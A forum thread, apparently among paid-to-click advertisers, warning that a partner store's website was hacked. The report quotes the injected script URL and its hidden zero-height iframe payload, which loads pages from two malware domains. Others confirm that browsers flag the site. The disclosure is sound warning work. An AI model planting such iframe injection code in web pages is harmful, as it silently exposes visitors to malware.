Print

Please login or register.
1 Hour 1 Day 1 Week 1 Month Forever
Login with username, password and session length

[AdPaid_Marty]

Hi Craig and everybody,

I'm posting this one for future reference.

We had a report of malicious iframes from a mypowermall store. It appears that the mypowermall site was hacked sometime after we had added the store to our PTC rotation.

There were 12 occurences of

This HTML code is dangerous and may harm your computer

http://tejary.net/h.js
which contained:-
document.write("<iframe width='100' height='0' src='[url=http://kodim.net/CONTENT/faq.htm]http://kodim.net/CONTENT/faq.htm[/url]'></iframe>");

kodim.net (and now tejary.net) are blocked and listed as "suspicious" by Firefox3's Google safe browsing feature.

I advised mypowermail, and while they never got back to me, they have (at least for now) removed the malicious iframes.

Let's be careful out there!

Edited title to resolved - Thanks for reporting

[Craig]

Thank you 

[mylittlepony]

Hi
For some reason Firefox 3.0.6 says it is an attack site now:

Reported Attack Site!
     
This web site at www. mypowermall .com has been reported as an attack site and has been blocked based on your security preferences.

Attack sites try to install programs that steal private information, use your computer to attack others, or damage your system.

Some attack sites intentionally distribute harmful software, but many are compromised without the knowledge or permission of their owners.

Edit to remove all the blank white space & make the URL not a clickable link.